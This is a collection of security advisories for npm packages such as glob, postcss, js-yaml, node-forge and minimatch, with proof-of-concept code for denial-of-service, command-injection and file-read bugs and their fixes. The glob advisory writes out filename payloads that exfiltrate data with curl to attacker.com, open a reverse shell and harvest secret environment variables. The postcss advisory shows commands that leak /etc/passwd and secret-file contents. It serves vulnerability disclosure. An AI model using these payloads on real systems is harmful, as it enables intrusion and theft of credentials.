timestamps. Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact. --- ### Impact Any context where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here. Depth 3 (`*(*(*(a|b)))`, 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (`*(*(a|b))`, 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard. `+()` extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed). **Mitigation available:** passing `{ noext: true }` to `minimatch()` disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.
## Summary flatted's `parse()` function uses a recursive `revive()` phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential `$` indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process. ## Impact Denial of Service (DoS). Any application that passes untrusted input to `flatted.parse()` can be crashed by an unauthenticated attacker with a single request. flatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries. ## Proof of Concept ```javascript const flatted = require('flatted'); // Build deeply nested circular reference chain const depth = 20000; const arr = new Array(depth + 1); arr[0] = '{"a":"1"}'; for (let i = 1; i <= depth; i++) { arr[i] = `{"a":"${i + 1}"}`; } arr[depth] = '{"a":"leaf"}'; const payload = JSON.stringify(arr); flatted.parse(payload); // RangeError: Maximum call stack size exceeded ``` ## Fix The maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive `revive()` to a stack-based loop. ## Affected Versions All versions prior to the PR #88 fix.
### Impact A single request can crash any application using `body-parser` with default options. When a request carries a `Content-Encoding` (for example `gzip`), `body-parser` pipes it into a decompression stream and, after reading the body, leaves that stream piped with no error listener. A payload of one valid compressed frame followed by trailing bytes decodes and the application responds normally, but the trailing bytes then reach the already-finished decoder, which emits an error that is re-thrown as an uncaught exception and terminates the process. No authentication or matching route is required, since parsing runs before routing. ### Patches Fixed in body-parser 2.4.0 and 1.20.9. Upgrade to one of these versions. ### Workarounds Pass `inflate: false` to the body-parser middleware if the application does not need to accept compressed request bodies. This rejects encoded requests before any decompression stream is created.
## Summary `maxTotalMergeKeys` does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit. ## Example ```yaml arr: &arr [{}, {}, {}, ...] # N empty mappings targets: - <<: *arr # repeated K times ``` For every target, the loader iterates all `N` elements of `arr`. This results in `O(N * K)` work while `totalMergeKeys` remains unchanged. ## PoC ```js import { performance } from 'node:perf_hooks' import { load, YAML11_SCHEMA } from 'js-yaml' const n = 20000 const src = 'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' + 'targets:\n' + ' - <<: *arr\n'.repeat(n) const started = performance.now() load(src, { schema: YAML11_SCHEMA }) console.log(`${(performance.now() - started).toFixed(1)} ms`) ``` Observed results: | N | YAML size | Time | |---:|---:|---:| | 800 | ~13 KB | ~20 ms | | 3200 | ~50 KB | ~180 ms | | 20000 | ~500 KB | ~13 s | ## Impact An attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default `maxTotalMergeKeys` limit. ## Fix Count each merge-source mapping as one budget unit, in addition to counting its keys. ## Difference with v5 In v3 & v4, merge is enabled by default. So, the severity score is higher.
### Impact A bad regular expression is generated any time you have three or more parameters within a single segment, separated by something that is not a period (`.`). For example, `/:a-:b-:c` or `/:a-:b-:c-:d`. The backtrack protection added in `path-to-regexp@0.1.12` only prevents ambiguity for two parameters. With three or more, the generated lookahead does not block single separator characters, so capture groups overlap and cause catastrophic backtracking. ### Patches Upgrade to [path-to-regexp@0.1.13](https://github.com/pillarjs/path-to-regexp/releases/tag/v.0.1.13) Custom regex patterns in route definitions (e.g., `/:a-:b([^-/]+)-:c([^-/]+)`) are not affected because they override the default capture group. ### Workarounds All versions can be patched by providing a custom regular expression for parameters after the first in a single segment. As long as the custom regular expression does not match the text before the parameter, you will be safe. For example, change `/:a-:b-:c` to `/:a-:b([^-/]+)-:c([^-/]+)`. If paths cannot be rewritten and versions cannot be upgraded, another alternative is to limit the URL length. ### References - [GHSA-9wv6-86v2-598j](https://github.com/advisories/GHSA-9wv6-86v2-598j) - [Detailed blog post: ReDoS the web](https://blakeembrey.com/posts/2024-09-web-redos/)
### Impact `fast-uri` versions `>= 2.3.1, <= 4.0.0` fail to canonicalize Unicode/IDN hostnames for HTTP-family URLs. The IDN conversion path calls `URL.domainToASCII(...)` on the global WHATWG `URL` constructor, where that helper does not exist. The resulting `TypeError` is silently routed into `parsed.error`, but `parse()`, `normalize()`, and `equal()` all return with the host left in its original Unicode form. For example, `http://127。0。0。1/` is treated by `fast-uri` as host `127。0。0。1`, while Node's WHATWG URL parser and `fetch()` canonicalize the same input to `127.0.0.1`. Applications that use `fast-uri` to enforce host-based policy (denylists, loopback filtering, redirect validation, outbound proxy routing) before passing the same URL into Node's URL or `fetch()` consumers see a policy/use desync and can be steered to an unintended destination. ### Patches Upgrade to `fast-uri` v4.0.1, v3.1.3, or v2.4.2 ### Workarounds None. Upgrade to the patched version.
### Impact js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one: ```yaml a0: &a0 { k0: 0 } a1: &a1 { <<: *a0, k1: 1 } a2: &a2 { <<: *a1, k2: 2 } a3: &a3 { <<: *a2, k3: 3 } ... b: *aN ``` For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size. ### PoC From N = 4000 delay become > 1s (doc size < 100K) ```js import { performance } from 'node:perf_hooks' import { Buffer } from 'node:buffer' import { load, YAML11_SCHEMA } from 'js-yaml' const n = Number(process.argv[2] || 4000) function makeMergeChain (count) { const lines = ['a0: &a0 { k0: 0 }'] for (let i = 1; i < count; i++) { lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`) } lines.push(`b: *a${count - 1}`) return `${lines.join('\n')}\n` } const source = makeMergeChain(n) console.log(source.split('\n').slice(0, 8).join('\n')) console.log('...') console.log(source.split('\n').slice(-4).join('\n')) console.log() console.log(`N: ${n}`) console.log(`YAML size: ${Buffer.byteLength(source)} bytes`) const started = performance.now() const result = load(source, { schema: YAML11_SCHEMA }) const elapsed = performance.now() - started console.log(`parse time: ${elapsed.toFixed(1)} ms`) console.log(`top-level keys: ${Object.keys(result).length}`) console.log(`b keys: ${Object.keys(result.b).length}`) ``` ### Patches Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.
### Summary The glob CLI contains a command injection vulnerability in its `-c/--cmd` option that allows arbitrary command execution when processing files with malicious names. When `glob -c <command> <patterns>` is used, matched filenames are passed to a shell with `shell: true`, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges. ### Details **Root Cause:** The vulnerability exists in `src/bin.mts:277` where the CLI collects glob matches and executes the supplied command using `foregroundChild()` with `shell: true`: ```javascript stream.on('end', () => foregroundChild(cmd, matches, { shell: true })) ``` **Technical Flow:** 1. User runs `glob -c <command> <pattern>` 2. CLI finds files matching the pattern 3. Matched filenames are collected into an array 4. Command is executed with matched filenames as arguments using `shell: true` 5. Shell interprets metacharacters in filenames as command syntax 6. Malicious filenames execute arbitrary commands **Affected Component:** - **CLI Only:** The vulnerability affects only the command-line interface - **Library Safe:** The core glob library API (`glob()`, `globSync()`, streams/iterators) is not affected - **Shell Dependency:** Exploitation requires shell metacharacter support (primarily POSIX systems) **Attack Surface:** - Files with names containing shell metacharacters: `$()`, backticks, `;`, `&`, `|`, etc. - Any directory where attackers can control filenames (PR branches, archives, user uploads) - CI/CD pipelines using `glob -c` on untrusted content ### PoC **Setup Malicious File:** ```bash mkdir test_directory && cd test_directory # Create file with command injection payload in filename touch '$(touch injected_poc)' ``` **Trigger Vulnerability:** ```bash # Run glob CLI with -c option node /path/to/glob/dist/esm/bin.mjs -c echo "**/*" ``` **Result:** - The echo command executes normally - **Additionally:** The `$(touch injected_poc)` in the filename is evaluated by the shell - A new file `injected_poc` is created, proving command execution - Any command can be injected this way with full user privileges **Advanced Payload Examples:** **Data Exfiltration:** ```bash # Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1) touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)' ``` **Reverse Shell:** ```bash # Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1) touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)' ``` **Environment Variable Harvesting:** ```bash # Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt) touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)' ``` ### Impact **Arbitrary Command Execution:** - Commands execute with full privileges of the user running glob CLI - No privilege escalation required - runs as current user - Access to environment variables, file system, and network **Real-World Attack Scenarios:** **1. CI/CD Pipeline Compromise:** - Malicious PR adds files with crafted names to repository - CI pipeline uses `glob -c` to process files (linting, testing, deployment) - Commands execute in CI environment with build secrets and deployment credentials - Potential for supply chain compromise through artifact tampering **2. Developer Workstation Attack:** - Developer clones repository or extracts archive containing malicious filenames - Local build scripts use `glob -c` for file processing - Developer machine compromise with access to SSH keys, tokens, local services **3. Automated Processing Systems:** - Services using glob CLI to process uploaded files or external content - File uploads with malicious names trigger command execution - Server-side compromise with potential for lateral movement **4. Supply Chain Poisoning:** - Malicious packages or themes include files with crafted names - Build processes using glob CLI automatically process these files - Wide distribution of compromise through package ecosystems **Platform-Specific Risks:** - **POSIX/Linux/macOS:** High risk due to flexible filename characters and shell parsing - **Windows:** Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL - **Mixed Environments:** CI systems often use Linux containers regardless of developer platform ### Affected Products - **Ecosystem:** npm - **Package name:** glob - **Component:** CLI only (`src/bin.mts`) - **Affected versions:** v10.2.0 through v11.0.3 (and likely later versions until patched) - **Introduced:** v10.2.0 (first release with CLI containing `-c/--cmd` option) - **Patched versions:** 11.1.0and 10.5.0 **Scope Limitation:** - **Library API Not Affected:** Core glob functions (`glob()`, `globSync()`, async iterators) are safe - **CLI-Specific:** Only the command-line interface with `-c/--cmd` option is vulnerable ### Remediation - Upgrade to `glob@10.5.0`, `glob@11.1.0`, or higher, as soon as possible. - If any `glob` CLI actions fail, then convert commands containing positional arguments, to use the `--cmd-arg`/`-g` option instead. - As a last resort, use `--shell` to maintain `shell:true` behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.
## Summary A Denial of Service (DoS) vulnerability exists in the node-forge library due to an infinite loop in the BigInteger.modInverse() function (inherited from the bundled jsbn library). When modInverse() is called with a zero value as input, the internal Extended Euclidean Algorithm enters an unreachable exit condition, causing the process to hang indefinitely and consume 100% CPU. Affected Package Package name: node-forge (npm: node-forge) Repository: https://github.com/digitalbazaar/forge Affected versions: All versions (including latest) Affected file: lib/jsbn.js, function bnModInverse() Root cause component: Bundled copy of the jsbn (JavaScript Big Number) library ## Vulnerability Details Type: Denial of Service (DoS) CWE: CWE-835 (Loop with Unreachable Exit Condition) Attack vector: Network (if the application processes untrusted input that reaches modInverse) Privileges required: None User interaction: None Impact: Availability (process hangs indefinitely) Suggested CVSS v3.1 score: 5.3–7.5 (depending on the context of usage) ## Root Cause Analysis The BigInteger.prototype.modInverse(m) function in lib/jsbn.js implements the Extended Euclidean Algorithm to compute the modular multiplicative inverse of this modulo m. Mathematically, the modular inverse of 0 does not exist — gcd(0, m) = m ≠ 1 for any m > 1. However, the implementation does not check whether the input value is zero before entering the algorithm's main loop. When this equals 0, the algorithm's loop condition is never satisfied for termination, resulting in an infinite loop. The relevant code path in lib/jsbn.js: ```js javascriptfunction bnModInverse(m) { // ... setup ... // No check for this == 0 // Enters Extended Euclidean Algorithm loop that never terminates when this == 0 } ``` ## Attack Scenario Any application using node-forge that passes attacker-controlled or untrusted input to a code path involving modInverse() is vulnerable. Potential attack surfaces include: DSA/ECDSA signature verification — A crafted signature with s = 0 would trigger s.modInverse(q), causing the verifier to hang. Custom RSA or Diffie-Hellman implementations — Applications performing modular arithmetic with user-supplied parameters. Any cryptographic protocol where an attacker can influence a value that is subsequently passed to modInverse(). A single malicious request can cause the Node.js event loop to block indefinitely, rendering the entire application unresponsive. ## Proof of Concept Environment Setup ```bash mkdir forge-poc && cd forge-poc npm init -y npm install node-forge ``` Reproduction (poc.js) A single script that safely detects the vulnerability using a child process with timeout. The parent process is never at risk of hanging. ```bash mkdir forge-poc && cd forge-poc npm init -y npm install node-forge # Save the script below as poc.js, then run: node poc.js ``` ```javascript 'use strict'; const { spawnSync } = require('child_process'); const childCode = ` const forge = require('node-forge'); // jsbn may not be auto-loaded; try explicit require if needed if (!forge.jsbn) { try { require('node-forge/lib/jsbn'); } catch(e) {} } if (!forge.jsbn || !forge.jsbn.BigInteger) { console.error('ERROR: forge.jsbn.BigInteger not available'); process.exit(2); } const BigInteger = forge.jsbn.BigInteger; const zero = new BigInteger('0', 10); const mod = new BigInteger('3', 10); // This call should throw or return 0, but instead loops forever const inv = zero.modInverse(mod); console.log('returned: ' + inv.toString()); `; console.log('[*] Testing: BigInteger(0).modInverse(3)'); console.log('[*] Expected: throw an error or return quickly'); console.log('[*] Spawning child process with 5s timeout...'); console.log(); const result = spawnSync(process.execPath, ['-e', childCode], { encoding: 'utf8', timeout: 5000, }); if (result.error && result.error.code === 'ETIMEDOUT') { console.log('[VULNERABLE] Child process timed out after 5s'); console.log(' -> modInverse(0, 3) entered an infinite loop (DoS confirmed)'); process.exit(0); } if (result.status === 2) { console.log('[ERROR] Could not access BigInteger:', result.stderr.trim()); console.log(' -> Check your node-forge installation'); process.exit(1); } if (result.status === 0) { console.log('[NOT VULNERABLE] modInverse returned:', result.stdout.trim()); process.exit(1); } console.log('[NOT VULNERABLE] Child exited with error (status ' + result.status + ')'); if (result.stderr) console.log(' stderr:', result.stderr.trim()); process.exit(1); ``` Expected Output ``` [*] Testing: BigInteger(0).modInverse(3) [*] Expected: throw an error or return quickly [*] Spawning child process with 5s timeout... [VULNERABLE] Child process timed out after 5s -> modInverse(0, 3) entered an infinite loop (DoS confirmed) Verified On ``` node-forge v1.3.1 (latest at time of writing) Node.js v18.x / v20.x / v22.x macOS / Linux / Windows ## Impact Availability: An attacker can cause a complete Denial of Service by sending a single crafted input that reaches the modInverse() code path. The Node.js process will hang indefinitely, blocking the event loop and making the application unresponsive to all subsequent requests. Scope: node-forge is a widely used cryptographic library with millions of weekly downloads on npm. Any application that processes untrusted cryptographic parameters through node-forge may be affected. ## Suggested Fix Add a zero-value check at the entry of bnModInverse() in lib/jsbn.js: ```javascript function bnModInverse(m) { var ac = m.isEven(); // Add this check: if (this.signum() == 0) { throw new Error('BigInteger has no modular inverse: input is zero'); } // ... rest of the existing implementation ... } ``` Alternatively, return BigInteger.ZERO if that behavior is preferred, though throwing an error is more mathematically correct and consistent with other BigInteger implementations (e.g., Java's BigInteger.modInverse() throws ArithmeticException).
# Quadratic CPU consumption in `!!omap` resolution (js-yaml 3.x and 4.x) ## Summary `resolveYamlOmap()` enforces key uniqueness for `!!omap` sequences with a linear scan (`objectKeys.indexOf(...)`) inside the per-element loop, making resolution **O(n²)** in the number of entries. A modestly sized YAML document therefore consumes disproportionate CPU inside `yaml.load()`, giving a denial of service against any consumer that parses untrusted YAML. `!!omap` is registered in the **default schema** (`lib/schema/default.js` → `require('../type/omap')`), so a plain `yaml.load(untrustedInput)` with no options is affected — no custom schema or non-default configuration is required. **This is the same weakness as CVE-2026-59870 / GHSA-724g-mxrg-4qvm**, which was fixed in the 5.x line in 5.2.1. That fix was never backported: both currently maintained legacy lines still carry the original implementation. ## Affected versions | Line | Latest tested | Status | |---|---|---| | 3.x | **3.15.0** | Affected — `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:29` | | 4.x | **4.3.0** | Affected — `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:30` | | 5.x | 5.2.2 | **Not affected** — fixed in 5.2.1 (uses a `Set`) | Both figures are the newest release of each line at the time of writing, so this is not a "you are on an old version" issue. ## Details `lib/type/omap.js` (js-yaml 4.3.0): ```js if (objectKeys.indexOf(pairKey) === -1) objectKeys.push(pairKey) else return false ``` `objectKeys` grows by one element per entry, and `Array.prototype.indexOf` is a linear scan, so resolving an `n`-entry `!!omap` performs roughly `1 + 2 + … + n` comparisons — quadratic in `n`. The work happens synchronously inside `yaml.load()`, blocking the event loop for its whole duration. The 5.x line already solves exactly this by tracking seen keys in a `Set` (`src/tag/sequence/omap.ts`): ```ts if (carrier.seen.has(key)) return 'duplicate key in ordered map' carrier.seen.add(key) ``` ## Proof of concept ```js // poc.js — node poc.js const yaml = require('js-yaml'); const doc = n => '!!omap\n' + Array.from({length: n}, (_, i) => `- k${i}: ${i}`).join('\n') + '\n'; for (const n of [10000, 20000, 40000, 80000]) { const d = doc(n), t = Date.now(); yaml.load(d); // default schema, no options console.log(`n=${n} bytes=${d.length} load=${Date.now() - t}ms`); } ``` ### Measured (node v20.20.2, default heap, no flags) **js-yaml 4.3.0** ``` n=10000 bytes=137787 load=54ms n=20000 bytes=297787 load=169ms n=40000 bytes=617787 load=646ms n=80000 bytes=1257787 load=2607ms ``` **js-yaml 3.15.0** ``` n=10000 bytes=137787 load=53ms n=20000 bytes=297787 load=166ms n=40000 bytes=617787 load=641ms n=80000 bytes=1257787 load=2567ms ``` Runtime grows by a factor of ~4 for each doubling of `n`, which is the signature of O(n²) (linear growth would be ~2×). Scaling further: a **2.48 MB** document with 150,000 entries blocked `yaml.load()` for **10.8 seconds**. ## Impact Any service that parses attacker-influenced YAML with js-yaml 3.x or 4.x can be stalled with a small input. Because the loop is synchronous, a single request blocks the Node.js event loop and stalls every other request in the process — so the amplification is per-process, not just per-request. Suggested severity: consistent with **CVE-2026-59870** (the same weakness in 5.x), i.e. Availability-only impact, network attack vector, no privileges or user interaction required. ## Suggested fix Mirror the 5.x fix — replace the linear scan with a `Set`: ```js // lib/type/omap.js const seen = new Set() // ... if (seen.has(pairKey)) return false seen.add(pairKey) ``` This preserves the existing duplicate-key rejection semantics exactly while making resolution O(n). A `maxOmapLength`-style cap would also work, but the `Set` matches what 5.x already ships and requires no new option. ## References - CVE-2026-59870 / GHSA-724g-mxrg-4qvm — same weakness in 5.0.0–5.2.0, fixed in 5.2.1 - `lib/type/omap.js` (3.x, 4.x) — the affected resolver - `lib/schema/default.js` — registers `!!omap` in the default schema ## Discovery Found by an automated static-analysis and executed-proof-of-concept scanner run against js-yaml 4.2.0, then manually verified against 3.15.0 and 4.3.0 by executing the proof of concept above. All timings in this report were measured on the **current** releases of each line, not on the version originally scanned.
## Summary PostCSS's `PreviousMap` parses the `/*# sourceMappingURL=PATH */` comment from any CSS string passed to `process()` and dereferences `PATH` against the local filesystem with no scheme, allowlist, or traversal check. An attacker who controls the CSS input can cause the host process to read any file readable by Node and leak the first ~10 bytes of its content through the resulting `JSON.parse` `SyntaxError` message. The bug also yields a precise file-existence oracle and a controllable-read primitive that may be combined with large-file targets for DoS. The behaviour is triggered with PostCSS's default options — no `from`, no `map`, no plugins required — and is therefore reachable from any pipeline that runs untrusted CSS through PostCSS (CMS themes, user-uploaded styles, browser-extension/userstyle processors, build pipelines for third-party packages, blog comment renderers, etc.). ## Details The dangerous chain lives in `lib/previous-map.js` and is wired into every `Input` construction at `lib/input.js:70-77`. `Input` constructor (`lib/input.js:70-77`): ```js if (pathAvailable && sourceMapAvailable) { let map = new PreviousMap(this.css, opts) if (map.text) { this.map = map let file = map.consumer().file if (!this.file && file) this.file = this.mapResolve(file) } } ``` `PreviousMap` constructor (`lib/previous-map.js:17-29`): ```js constructor(css, opts) { if (opts.map === false) return this.loadAnnotation(css) this.inline = this.startWith(this.annotation, 'data:') let prev = opts.map ? opts.map.prev : undefined let text = this.loadMap(opts.from, prev) ... } ``` Note `opts.map === false` is the only short-circuit. With default options (`opts.map === undefined`), the rest of the constructor — including the filesystem read — executes. `loadAnnotation` (`lib/previous-map.js:72-84`) extracts the URL **without sanitisation**: ```js loadAnnotation(css) { let comments = css.match(/\/\*\s*# sourceMappingURL=/g) if (!comments) return let start = css.lastIndexOf(comments.pop()) let end = css.indexOf('*/', start) if (start > -1 && end > -1) { this.annotation = this.getAnnotationURL(css.substring(start, end)) } } ``` `getAnnotationURL` (`lib/previous-map.js:59-61`) only strips the `/*# sourceMappingURL=` prefix and trims whitespace — no scheme check, no path normalisation, no allowlist. `loadMap` (`lib/previous-map.js:124-128`) — when `prev` is absent and the annotation is not an inline `data:` URI: ```js } else if (this.annotation) { let map = this.annotation if (file) map = join(dirname(file), map) return this.loadFile(map) } ``` * If `opts.from` is unset, `file` is undefined and the raw attacker-supplied path (e.g. `/etc/passwd`) is used directly. * If `opts.from` is set, `path.join(dirname(file), attackerPath)` is used. `path.join` does **not** block `..` segments, so `../../../../../etc/passwd` resolves outside the intended directory. `loadFile` (`lib/previous-map.js:86-92`) is the sink: ```js loadFile(path) { this.root = dirname(path) if (existsSync(path)) { this.mapFile = path return readFileSync(path, 'utf-8').toString().trim() } } ``` The bytes are stored in `this.text`. `Input` immediately invokes `map.consumer()` (`lib/input.js:74`), which constructs a `SourceMapConsumer` (`lib/previous-map.js:33`). When the file is not valid source-map JSON (the common case), `source-map-js` calls `JSON.parse`, and V8's `SyntaxError` message embeds the first ~10 bytes of the file content: ``` Unexpected token 'r', "root:x:0:0"... is not valid JSON ``` This error is propagated back to the caller. Any application that surfaces PostCSS errors (logs, HTTP 500 responses, build-tool output, debug pages) discloses those bytes to the attacker. Trust-boundary analysis: * Attacker controls: CSS input passed to `postcss().process(css, opts?)`. * Server resources: any file readable by the Node process — typically including app config, environment files, SSH keys, `/etc/passwd`, `/proc/self/environ`, etc. * No mitigations: there is no path validation, scheme allowlist, traversal check, or symlink check. The only relevant check (`startWith(annotation, 'data:')`) routes inline URIs to `decodeInline`; everything else hits `loadFile`. Primitives obtained: * (a) **Arbitrary file read** — bytes loaded into Node memory. * (b) **Information disclosure** — first ~10 bytes leaked via `JSON.parse` `SyntaxError` message. * (c) **File-existence oracle** — non-existent paths return silently from `loadFile` (`existsSync` is false → returns undefined → no map text → no consumer call → no error). Existent non-JSON paths throw. Existent JSON paths succeed silently. Three distinguishable states. * (d) **DoS primitive** — directing the read at `/dev/zero`, very large files, or device files can stall or crash the process. ## PoC All commands executed against this repository's HEAD (postcss 8.5.10) on Node v22.12.0. **Vector 1 — Absolute path, default options (no `from`, no `map`):** ```bash $ node -e 'const p=require("postcss"); \ try { p().process("a{color:red}\n/*# sourceMappingURL=/etc/passwd */"); } \ catch(e){console.log(e.message)}' Unexpected token 'r', "root:x:0:0"... is not valid JSON ``` The first 10 bytes of `/etc/passwd` (`root:x:0:0`) are leaked. **Vector 2 — Relative `..` traversal with `opts.from` set (simulates a build pipeline that pins `from` to the source file):** ```bash $ node -e 'const p=require("postcss"); \ p().process("a{color:red}\n/*# sourceMappingURL=../../../../../etc/passwd */", \ {from:"/var/www/html/styles/main.css", map:{inline:false}}) \ .catch(e=>console.log(e.message))' Unexpected token 'r', "root:x:0:0"... is not valid JSON ``` `path.join('/var/www/html/styles', '../../../../../etc/passwd')` resolves to `/etc/passwd`. **Vector 3 — File-existence oracle:** ```bash # Existing non-JSON file → throws (file confirmed to exist) $ node -e 'require("postcss")().process("a{}\n/*# sourceMappingURL=/etc/passwd */")' SyntaxError: Unexpected token 'r', "root:x:0:0"... is not valid JSON # Non-existent file → returns silently (file confirmed absent) $ node -e 'r=require("postcss")().process("a{}\n/*# sourceMappingURL=/no/such/file */"); console.log("ok")' ok ``` **Vector 4 — Custom file-content leak:** ```bash $ printf 'API_KEY=sk-secret-12345\n' > /tmp/server-secret.env $ node -e 'require("postcss")().process("a{}\n/*# sourceMappingURL=/tmp/server-secret.env */")' 2>&1 | head -1 SyntaxError: Unexpected token 'A', "API_KEY=sk"... is not valid JSON ``` The first 10 bytes of `/tmp/server-secret.env` (`API_KEY=sk`) are leaked — sufficient to confirm a token's presence and, in many cases, recover its prefix. **Filesystem-call trace** (proves the read happens with no opts at all): ```js const fs = require('fs'); const orig = fs.readFileSync; fs.readFileSync = function(p){ if (typeof p==='string' && p.startsWith('/etc')) console.log('[FILE READ]:', p); return orig.apply(this, arguments); }; require('postcss')().process('a{}\n/*# sourceMappingURL=/etc/hostname */'); // → [FILE READ]: /etc/hostname // → SyntaxError: Unexpected token 'D', "Debian-tri"... is not valid JSON ``` ## Impact * **Arbitrary file read** of any file readable by the Node process from any CSS-processing context that accepts attacker-influenced CSS. PostCSS has hundreds of millions of weekly npm downloads and is the standard CSS processor for build tools (webpack `postcss-loader`, vite, parcel, Next.js, Gatsby, etc.) and for runtime CSS-handling libraries (CSS Modules tools, CSS minifiers, theme processors). Any pipeline that runs untrusted user CSS — CMS theme uploads, user-styled blog posts, browser-extension/userstyle services, multi-tenant build farms, third-party-package build pipelines — is exposed. * **Confidentiality leak** of the first ~10 bytes of the targeted file via `JSON.parse` `SyntaxError`. This is enough to recover SSH-key headers, environment-variable prefixes (`API_KEY=sk…`), `/etc/passwd` records, the start of `/proc/self/environ`, and other high-value secrets, and to fingerprint the host (`Debian-tri…` from `/etc/hostname`). * **File-existence oracle** with three distinguishable response states (silent success, `JSON.parse` error, no-such-file silence), enabling reconnaissance of the host filesystem layout and confirmation of installed software, user accounts, and configuration files. * **DoS** by targeting `/dev/zero`, `/proc/kcore`, very large files, or named pipes — `readFileSync` is a synchronous, unbounded read. * **Default-on**: triggered with `postcss().process(css)` and no options. The only configuration that disables the bug is the explicit, undocumented-for-this-purpose `{ map: false }`. ## Recommended Fix The root cause is that `loadFile` accepts any path the attacker supplies inside a CSS comment. The annotation is meant for tooling, not for production CSS processing of untrusted input. Two layered fixes: 1. **Refuse traversal/absolute paths in `loadMap`** (defence-in-depth): ```js // lib/previous-map.js loadMap(file, prev) { if (prev === false) return false if (prev) { /* unchanged */ } else if (this.inline) { return this.decodeInline(this.annotation) } else if (this.annotation) { let annotation = this.annotation // Reject schemes (other than data:, handled above) and absolute paths. if (/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(annotation)) return if (require('path').isAbsolute(annotation)) return if (!file) return // No base path → cannot safely resolve. const base = require('path').resolve(require('path').dirname(file)) const resolved = require('path').resolve(base, annotation) // Refuse anything that escapes the base directory. if (resolved !== base && !resolved.startsWith(base + require('path').sep)) { return } return this.loadFile(resolved) } } ``` 2. **Require explicit opt-in to follow on-disk source-map annotations**: gate the `loadFile(map)` call in `loadMap` behind an option such as `opts.map.annotation === true` or `opts.map.followAnnotation === true`. Today, the only way to opt out is `{ map: false }`, which also disables in-memory previous-map handling. Inverting the default — only follow disk-resident annotations when explicitly asked — eliminates the entire attack surface for callers that pass untrusted CSS, while preserving build-tool use cases where the annotation is trusted. A user-facing changelog entry should warn that `postcss().process(untrustedCss)` previously read attacker-controlled paths, and recommend auditing applications that surfaced PostCSS errors to end users.
### Summary `parseCommaParts()` can exhaust the native stack and crash the process. There are two distinct ways to trigger it, both reachable from a single untrusted pattern string. This is the parsing-side counterpart to CVE-2026-14257 / GHSA-mh99-v99m-4gvg. That fix made `expand_()` iterative and documented a constant-stack-depth guarantee, but `parseCommaParts()` was left recursive, so the guarantee only held for one of the two parsing paths. ### Vector 1 - unbounded recursion on `post` `parseCommaParts()` recursed on the remainder of the string once per brace group: ```js const postParts = parseCommaParts(post) // unbounded ``` A brace group containing many comma-separated groups drives one recursion level per group: ```js expand('{' + '{a},'.repeat(7000) + 'b}') // RangeError: Maximum call stack size exceeded ``` About 7,300 repetitions - roughly 29 KB of input - is enough on Node 24; roughly 6,300 (25 KB) on Node 18. The threshold is identical on every affected release line. ### Vector 2 - `push.apply` with an unbounded array Even with the recursion removed, `parseCommaParts()` spread whole arrays into an argument list: ```js p.push.apply(p, postParts) parts.push.apply(parts, p) ``` `Function.prototype.apply` places one argument per element on the stack, so a single large array overflows it. This needs **no recursion depth at all** - the following reaches a recursion depth of exactly 1: ```js expand('{{x},' + 'a,'.repeat(125000) + 'b}') // RangeError: Maximum call stack size exceeded ``` Threshold is about 124,300 repetitions (~249 KB). This vector was not part of the original report; it was found while verifying the fix. A patch that only de-recurses but keeps `push.apply` leaves a working denial of service behind. ### Why `max` and `maxLength` do not help Both crashes happen during **parsing**, before any expansion. The payloads produce one result per group, so output size grows linearly with input and is never the limiter. `expand(payload, { max: 1, maxLength: 1 })` still overflows. ### Impact Any application that passes an untrusted string to `expand()` - directly, or through `minimatch` / `glob` where it is a user-supplied glob pattern - can be crashed. In Node, a `RangeError` that the application does not catch terminates the process, so a server that globs user input is exposed to remote unauthenticated denial of service. `minimatch`'s own `MAX_PATTERN_LENGTH` cap (65,536) does not help against vector 1: the overflow threshold sits well below it. Confirmed on minimatch 10.2.6 - a 64,003-byte pattern passes the length check and overflows both `minimatch.braceExpand()` and `new minimatch.Minimatch()`. This is an availability-only issue. No code execution and no data exposure. ### Not a regression 5.0.8 and 5.0.9 overflow at the same repetition count, so the gap predates the recent advisories; those fixes simply did not reach it. Verified affected on 1.1.18, 2.1.4, 3.0.6, 5.0.8 and 5.0.9, all at an identical threshold. ### Patch 